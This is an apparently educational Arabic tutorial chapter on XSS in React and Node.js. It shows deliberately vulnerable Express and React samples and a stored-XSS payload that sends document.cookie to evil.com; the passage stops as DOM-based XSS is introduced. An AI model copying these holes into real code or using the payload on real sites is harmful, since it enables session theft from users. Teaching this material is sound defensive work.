الفصل الأول: تحليل التهديدات: فهم آليات هجوم XSS في تطبيقات React وNode.js

مرحبًا بك في نقطة البداية لرحلة بناء دفاعات حديدية. قبل أن نبدأ في بناء الجدران، يجب أن نفهم تمامًا طبيعة العدو الذي نواجهه. في هذا الفصل، سنغوص عميقًا في عالم هجمات XSS (Cross-Site Scripting)، ونحللها في سياق تطبيقات React من جهة الواجهة الأمامية وNode.js من جهة الخادم. الفهم العميق هو أقوى سلاح في ترسانتك.

1.1 ما هو هجوم XSS؟ الجوهر قبل المظهر

هجوم XSS هو نوع من حقن الكود، حيث يتمكن المهاجم من حقن وتنفيذ نصوص برمجية خبيثة (عادة JavaScript) في صفحات ويب يراها مستخدمون آخرون. الهدف النهائي هو سرقة بيانات حساسة (كملفات تعريف الارتباط، أو tokens)، أو التحكم في جلسة المستخدم، أو تشويه محتوى الموقع، أو حتى توجيه المستخدم إلى مواقع ضارة.

المشكلة الأساسية تكمن في ثقة التطبيق غير المشروطة في بيانات المستخدم. عندما لا يتم التحقق من صحة البيانات المدخلة أو تعقيمها أو هروبها قبل عرضها، يصبح الباب مفتوحًا أمام المهاجم.

1.2 تصنيف هجمات XSS: الثلاثي الخطير

1.2.1 XSS المنعكس (Reflected)

هذا النوع هو الأكثر شيوعًا والأسهل تنفيذًا. يحدث عندما يعكس التطبيق مدخلات المستخدم مباشرة في الاستجابة دون تعقيم كافٍ. غالبًا ما يستغل المهاجمون روابط (URLs) أو نماذج (Forms) لإرسال الحمولة الخبيثة.

• الآلية: يرسل المهاجم رابطًا يحتوي على سكريبت خبيث إلى الضحية. عندما تفتح الضحية الرابط، يطلب الخادم البيانات من الرابط، ويعيدها في الاستجابة، ويتم تنفيذ السكريبت في متصفح الضحية.
• مثال في Node.js (ضعيف):

// خادم Node.js ضعيف يعكس بيانات المستخدم
const express = require('express');
const app = express();

app.get('/search', (req, res) => {
    // تحذير: هذا كود خطير! لا تستخدمه أبدًا في الإنتاج.
    const query = req.query.q || '';
    // يتم إدخال `query` مباشرة في HTML دون تعقيم
    res.send(`<h1>نتائج البحث عن: ${query}</h1>`);
});

app.listen(3000);

إذا زار المستخدم رابطًا مثل: http://localhost:3000/search?q=<script>alert('Hacked!')</script>، فسيتم تنفيذ الـ alert. في السيناريوهات الواقعية، قد يتم سرقة ملفات تعريف الارتباط باستخدام document.cookie.

1.2.2 XSS المخزن (Stored/Persistent)

هذا هو النوع الأكثر خطورة. يتم تخزين الحمولة الخبيثة على الخادم (في قاعدة بيانات، أو تعليقات، أو ملفات تعريف المستخدمين) ثم تقديمها لجميع المستخدمين الذين يزورون الصفحة المصابة لاحقًا.

• الآلية: يحقن المهاجم سكريبتًا خبيثًا في حقل يمكن تخزينه (مثل تعليق في مدونة). يحفظ الخادم هذا التعليق. كلما قام أي مستخدم بتحميل صفحة التعليقات، يتم تنزيل السكريبت وتنفيذه في متصفحه.
• مثال في React (مكون ضعيف):

// مكون React ضعيف يعرض بيانات من الخادم دون حماية
import React, { useState, useEffect } from 'react';

function CommentList() {
    const [comments, setComments] = useState([]);

    useEffect(() => {
        // محاكاة لجلب بيانات من API (قد تحتوي على سكريبت خبيث مخزن)
        const fetchedComments = [
            { id: 1, text: 'تعليق رائع!' },
            { id: 2, text: '<script>fetch("https://evil.com/steal?cookie="+document.cookie)</script>' }
        ];
        setComments(fetchedComments);
    }, []);

    return (
        <div>
            <h2>التعليقات</h2>
            <ul>
                {comments.map(comment => (
                    <li key={comment.id}>
                        {/* تحذير: استخدام dangerouslySetInnerHTML دون تعقيم هو كارثة */}
                        <div dangerouslySetInnerHTML={{ __html: comment.text }} />
                    </li>
                ))}
            </ul>
        </div>
    );
}

هنا، التعليق الثاني يحتوي على سكريبت خبيث. لأننا استخدمنا dangerouslySetInnerHTML دون أي تعقيم مسبق، سيتم تنفيذ هذا السكريبت عند عرض المكون، مما قد يؤدي إلى سرقة ملفات تعريف الارتباط من جميع الزوار.

1.2.3 XSS المستند إلى DOM (DOM-based)

هذا النوع معقد وأكثر تقدمًا.